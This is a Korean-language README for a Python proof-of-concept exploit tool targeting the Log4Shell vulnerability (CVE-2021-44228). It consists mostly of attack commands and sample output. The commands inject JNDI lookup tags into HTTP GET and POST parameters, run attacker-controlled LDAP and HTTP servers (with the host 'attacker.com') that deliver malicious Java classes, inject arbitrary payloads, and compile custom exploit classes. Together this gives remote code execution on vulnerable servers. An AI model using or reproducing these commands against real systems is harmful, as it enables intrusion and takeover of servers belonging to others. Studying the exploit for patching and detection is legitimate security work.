
CVE-2021-44228을 위한 올인원 순수 Python PoC
CVE-2021-44228에 대한 올인원 순수 Python3 PoC입니다.
> python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=###"
INFO:HTTP:Running on local port 1337
INFO:HTTP:Remote target is http://127.0.0.1:1337/LinuxExploit.class
INFO:LDAP:Running on local port 1387
INFO:Log4J:Sending payload to http://localhost:8080/
INFO:LDAP:Query from ('127.0.0.1', 42554)
INFO:HTTP:Request from ('127.0.0.1', 55328) to /LinuxExploit.class
INFO:Log4J:Done!
이것은 CLI 도구입니다. 모든 옵션은 도움말 메뉴에서 확인할 수 있습니다:
python3 log4rce.py --help
목록이 상당히 방대하므로, 다음은 기능 요약을 제공합니다.
이 도구는 몇 가지 공격 모드를 사용할 수 있게 해줍니다. 이러한 공격은 Log4RCE 클래스의 확장입니다.
대상 URL에 대해 자동화된 HTTP 요청 공격을 수행할 수 있습니다.
다음과 같이 GET 요청을 수행할 수 있습니다:
python3 log4rce.py http --url "http://www.vuln.com:1234/?vuln_param=###¶m=123" --headers="P1=123&P2=123"
다음과 같이 POST 요청을 수행할 수 있습니다:
python3 log4rce.py http -X POST --url "http://www.vuln.com:1234/" --data "vuln_param=###¶m=123" --headers="P1=123&P2=123"
위의 방법은 JNDI 태그를 ###에 주입합니다.
위의 방법을 사용할 수 없는 경우, 이 모드를 사용하여 JDNI 태그를 덤프하십시오:
python3 log4rce.py manual
이 도구는 대부분의 네트워크 구성에 대해 광범위한 사용자 지정을 허용합니다. 모든 내부 서버는 원격 설정에 따라 다른 위치를 가리키도록 수정할 수 있습니다.
다음 매개변수를 사용하여 HTTP 서버를 구성할 수 있습니다:
python3 log4rce.py --http_port 1234 --http_rport 12345 --http_host "attacker.com"
http_port: The local port to run the server on.
http_rport: The port that a remote machine accesses.
http_host: The host name/IP a remote machine accesses.
다음 매개변수를 사용하여 LDAP 서버를 구성할 수 있습니다:
python3 log4rce.py --ldap_port 1234 --ldap_rport 12345 --ldap_host "attacker.com"
ldap_port: The local port to run the server on.
ldap_rport: The port that a remote machine accesses.
ldap_host: The host name/IP a remote machine accesses.
이 도구는 일부 사용자 지정을 처리할 수 있습니다. 다음은 관심 있을 만한 몇 가지 기능을 나열합니다.
다음을 사용하여 Java 클래스에 페이로드를 주입할 수 있습니다:
python3 log4rce.py --payload "PAYLOAD"
페이로드는 "###" 문자열에 주입됩니다.
다음을 사용하여 자신만의 Java 클래스를 빌드할 수 있습니다.
javac -source 1.7 -target 1.7 /path/to/Exploit.java
결과 .class 파일은 다음을 사용하여 실행할 수 있습니다:
python3 log4rce.py --java_class "/path/to/Exploit.class" ...
참고: 페이로드 주입을 허용하기 위해 문자열 "###"을 추가할 수 있습니다.